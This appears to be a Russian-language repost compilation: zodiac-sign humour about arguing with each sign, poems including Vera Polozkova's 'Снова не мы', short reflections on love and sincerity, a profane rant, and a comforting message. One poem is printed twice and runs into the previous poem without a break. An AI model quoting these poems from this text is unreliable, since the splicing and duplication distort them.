Рыбы: Выслушайте их, поговорите о их фантазиях и сумасшедших мечтах, утешайте их, и всегда будьте искренним-не вводите их в заблуждение. Будьте ласковым и никогда не игнорируйте их чувства. Не позволяйте им облениться, будьте добрым и ласковым в своих словах, не оставляйте их. Поощряйте их не угождать людям и не пренебрегать своей интуицией.

Каково это спорить со Знаками

Овен: Кровь, пот и слёзы, причём не их. Они страстны в своих убеждениях, и не верят в "каждый имеет право на собственное мнение".

Телец: Совершенно невозможно. Если хотите изменить их мнение, то можете просто забыть об этом. Во время спора они отказываются терять контроль, конечно же, если вы только не говорите что-то ужасающее.

Близнецы: Сбивающе с толку. Они начнут спорить, настаивая на своей точке зрения, переключаясь на "между", перефразовывают ваши слова, и вскоре, вы согласитесь с ними, потому что не вспомните, что изначально вы спорили.

Рак: Грустно. Раки любят спорить, но как только они начнут недоумевать, почему они почувствовали себя такими уверенными в своём мнении, они отделаются от вас в попытке заставить перестать вас спорить и заставить вас жалеть за то, что вы спорили с ними.

Лев: Бешено. Если они в конце согласны с вами, то они всё равно не признают. Они пойдут домой, пересмотрят свою жизнь, успокоят своё эго. Но вы даже не узнаете об этом "ритуале".

Дева: Обыкновенно. Два уравновешенных человека обсуждают свои мнения, пришли к компромиссу, и все живут счастливо. Только теперь вы добавлены в "чёрный список".

Весы: Справедливо. Вероятно, вы не будете спорить с Весами, поскольку они скорее всего где-то "между". Им нравится осчастливливать всех, они постоянно пересматривают свои мнения, расспрашивают всех, чтобы понять позицию каждого.

Скорпион: Страшно. Их смертельный взгляд будет пугать вас, чтобы вы согласились с ними, увидев их точку зрения. ЗАМЕТКА: если вы переписываетесь при этом споря с ними, они просто будут вас игнорить, так как они же не могут напугать вас через сеть.

Стрелец: Противно. Вы никогда не сможете иметь серьезного разговора с ними или доказать их неправоту, потому что они живой эквивалент интернет-тролля.

Козерог: Снисходительно. Неважно правы вы или нет, Козероги заставят вас почувствовать себя, как отброс. Они будут оскорблять вас до тех пор, пока у вас не иссякнут силы спорить больше и вы не сдадитесь.

Водолей: Поучительно. Их перспективы обычно приятные и ошеломляющие, они не будут с вами спорить, а просто примутся с вами за дружеские дискуссии.

Рыбы: Беспомощно. Как и Раки, они заставят вас думать, что этот спор-ваша вина, и вы проведёте целый день пытаясь утешить их и стараясь не умереть от количества вины, которая на вас обрушилась.

—Вкусно.

Вера Полозкова -
Снова не мы
ладно, ладно, давай не о смысле жизни, больше вообще ни о чем таком
лучше вот о том, как в подвальном баре со стробоскопом под потолком пахнет липкой самбукой и табаком
в пятницу народу всегда битком
и красивые, пьяные и не мы выбегают курить, он в ботинках, она на цыпочках, босиком
у нее в руке босоножка со сломанным каблуком
он хохочет так, что едва не давится кадыком

черт с ним, с мироустройством, все это бессилие и гнилье
расскажи мне о том, как красивые и не мы приезжают на юг, снимают себе жилье,
как старухи передают ему миски с фруктами для нее
и какое таксисты бессовестное жулье
и как тетка снимает у них во дворе с веревки свое негнущееся белье,
деревянное от крахмала
как немного им нужно, счастье мое
как мало

расскажи мне о том, как постигший важное – одинок
как у загорелых улыбки белые, как чеснок,
и про то, как первая сигарета сбивает с ног,
если ее выкурить натощак
говори со мной о простых вещах

как пропитывают влюбленных густым мерцающим веществом
и как старики хотят продышать себе пятачок в одиночестве,
как в заиндевевшем стекле автобуса,
протереть его рукавом,
говоря о мертвом как о живом

как красивые и не мы в первый раз целуют друг друга в мочки, несмелы, робки
как они подпевают радио, стоя в пробке
как несут хоронить кота в обувной коробке
как холодную куклу, в тряпке
как на юге у них звонит, а они не снимают трубки,
чтобы не говорить, тяжело дыша, «мама, все в порядке»;
как они называют будущих сыновей всякими идиотскими именами
слишком чудесные и простые,
чтоб оказаться нами

расскажи мне, мой свет, как она забирается прямо в туфлях к нему в кровать
и читает «терезу батисту, уставшую воевать»
и закатывает глаза, чтоб не зареветь
и как люди любят себя по-всякому убивать,
чтобы не мертветь

расскажи мне о том, как он носит очки без диоптрий, чтобы казаться старше,
чтобы нравиться билетёрше,
вахтёрше,
папиной секретарше,
но когда садится обедать с друзьями и предается сплетням,
он снимает их, становясь почти семнадцатилетним

расскажи мне о том, как летние фейерверки над морем вспыхивают, потрескивая
почему та одна фотография, где вы вместе, всегда нерезкая
как одна смс делается эпиграфом
долгих лет унижения; как от злости челюсти стискиваются так, словно ты алмазы в мелкую пыль дробишь ими
почему мы всегда чудовищно переигрываем,
когда нужно казаться всем остальным счастливыми,
разлюбившими

почему у всех, кто указывает нам место, пальцы вечно в слюне и сале
почему с нами говорят на любые темы,
кроме самых насущных тем
почему никакая боль все равно не оправдывается тем,
как мы точно о ней когда-нибудь написали

расскажи мне, как те, кому нечего сообщить, любят вечеринки, где много прессы
все эти актрисы
метрессы
праздные мудотрясы
жаловаться на стрессы,
решать вопросы,
наблюдать за тем, как твои кумиры обращаются в человеческую труху
расскажи мне как на духу
почему к красивым когда-то нам приросла презрительная гримаса
почему мы куски бессонного злого мяса
или лучше о тех, у мыса

вот они сидят у самого моря в обнимку,
ладони у них в песке,
и они решают, кому идти руки мыть и спускаться вниз
просить ножик у рыбаков, чтоб порезать дыню и ананас
даже пахнут они – гвоздика или анис –
совершенно не нами
значительно лучше насБез году неделя, мой свет, двадцать две смс назад мы еще не спали,
сорок - даже не думали, а итог - вот оно и палево, мы в опале, и слепой не видит, как мы попали и какой в груди у нас кипяток.
Губы болят, потому что ты весь колючий;
больше нет ни моих друзей, ни твоей жены;
всякий скажет, насколько это тяжелый случай и как сильно ткани поражены.
Израильтянин и палестинец, и соль и перец, слюна горька; август-гардеробщик зажал в горсти нас, в ладони влажной, два номерка;
Время шальных бессонниц, дрянных гостиниц, заговорщицкого жаргона и юморка; два щенка, что, колечком свернувшись, спят на изумрудной траве, сомлев от жары уже;
все, что ДО - сплошные слепые пятна, я потом отрежу при монтаже.

Этим всем, коль будет Господня воля, я себя на старости развлеку:
вот мы не берем с собой алкоголя, чтобы все случилось по трезвяку;
между джинсами и футболкой полоска кожи, мир кренится все больше, будто под ним домкрат;
мы с тобой отчаянно Непохожи, и от этого все Забавней во много крат;
Волосы жестким ворсом, в постели как Мцыри с барсом, в голове бурлящий густой сироп;
Думай Сердцем - сдохнешь счастливым старцем, будет что рассказать сыновьям за дартсом, прежде чем начнешь собираться в гроб.

Мальчик-билеты-в-последний-ряд, мальчик-что-за-роскошный-вид.
Мне Плевать, что там о нас говорят и кто Бога из нас гневит.
Я планирую пить с тобой ром и колдрекс, строить жизнь как комикс, готовить тебе бифштекс;
что до тех, для кого важнее Моральный кодекс - пусть имеют вечный оральный секс.
Вот же он Ты - стоишь в простыне, как в тоге и дурачишься, и куда я теперь уйду?!
Катапульта в райские гребаные чертоги - специально для тех, кто будет гореть в аду

Без году неделя, мой свет, двадцать две смс назад мы еще не спали,
сорок - даже не думали, а итог - вот оно и палево, мы в опале, и слепой не видит, как мы попали и какой в груди у нас кипяток.
Губы болят, потому что ты весь колючий;
больше нет ни моих друзей, ни твоей жены;
всякий скажет, насколько это тяжелый случай и как сильно ткани поражены.
Израильтянин и палестинец, и соль и перец, слюна горька; август-гардеробщик зажал в горсти нас, в ладони влажной, два номерка;
Время шальных бессонниц, дрянных гостиниц, заговорщицкого жаргона и юморка; два щенка, что, колечком свернувшись, спят на изумрудной траве, сомлев от жары уже;
все, что ДО - сплошные слепые пятна, я потом отрежу при монтаже.

Этим всем, коль будет Господня воля, я себя на старости развлеку:
вот мы не берем с собой алкоголя, чтобы все случилось по трезвяку;
между джинсами и футболкой полоска кожи, мир кренится все больше, будто под ним домкрат;
мы с тобой отчаянно Непохожи, и от этого все Забавней во много крат;
Волосы жестким ворсом, в постели как Мцыри с барсом, в голове бурлящий густой сироп;
Думай Сердцем - сдохнешь счастливым старцем, будет что рассказать сыновьям за дартсом, прежде чем начнешь собираться в гроб.

Мальчик-билеты-в-последний-ряд, мальчик-что-за-роскошный-вид.
Мне Плевать, что там о нас говорят и кто Бога из нас гневит.
Я планирую пить с тобой ром и колдрекс, строить жизнь как комикс, готовить тебе бифштекс;
что до тех, для кого важнее Моральный кодекс - пусть имеют вечный оральный секс.
Вот же он Ты - стоишь в простыне, как в тоге и дурачишься, и куда я теперь уйду?!
Катапульта в райские гребаные чертоги - специально для тех, кто будет гореть в аду

Что происходит при первом объятии предполагаемых возлюбленных? Правильно: и он, и она слышат запах друг друга — запах дыхания, запах тела. После объятия они перестают говорить на человеческом языке и начинают говорить на языке физиологии — феромонов или чего угодно, но только язык этот не человеческий.

Уважение мужчины к женщине – это принятие ответственности за нее и забота. Необходимо признать, что жена – самое хрупкое, нежное и важное существо во Вселенной – и в таком настроении с ней общаться.

и еще больше бесит, когда все такие, бляха, правильные, праведные, ведете все ЗОЖ и не материтесь… да снимите уже маску. тошнит от этого притворства.

живите как хотите! для кого вы притворяетесь? можно подумать этим вы удивите кого-то.

я в принципе не понимаю способ "ношу маску" лишь бы всем угодить. да себе угодите в первую очередь.

Я не люблю, когда мне говорят правду прямо в глаза. Пытаюсь избегать разговоры, где могли бы сказать о том, что я в чем-то плоха..

После очередного философско-ночного разговора с папой, последнее что он мне сказал: "Больно потом падать будет, Лина"..

И он прав.

В моем море уже много ушедших/погибших.

Посмотри вокруг. Я с тобой. Каждый день.

Когда ты внезапно чувствуешь тепло кладя руку на поручень эскалатора. Когда северный ветер, что только что дул внезапно стал южным и уже не обжигает лицо. Когда кто-то совершенно беспричинно очень добр к тебе. Или в звонком заливистом смехе, встречаемого тобой ребенка… Я с тобой тонкой нитью нежности и любви.

Просто произнеси внутри себя первую букву моего имени, когда тебе не спокойно, когда холодно, когда кажется, что вокруг не осталось нормальных людей, а только склочные идиоты с грибком головного мозга. Их конечно очень много, но я - рядом. И когда никто не будет понимать - я буду. Обниму большим крылом твою нежную душу и встану на защиту белоснежным драконом из мультиков Миядзаки…

Я буду. Помни.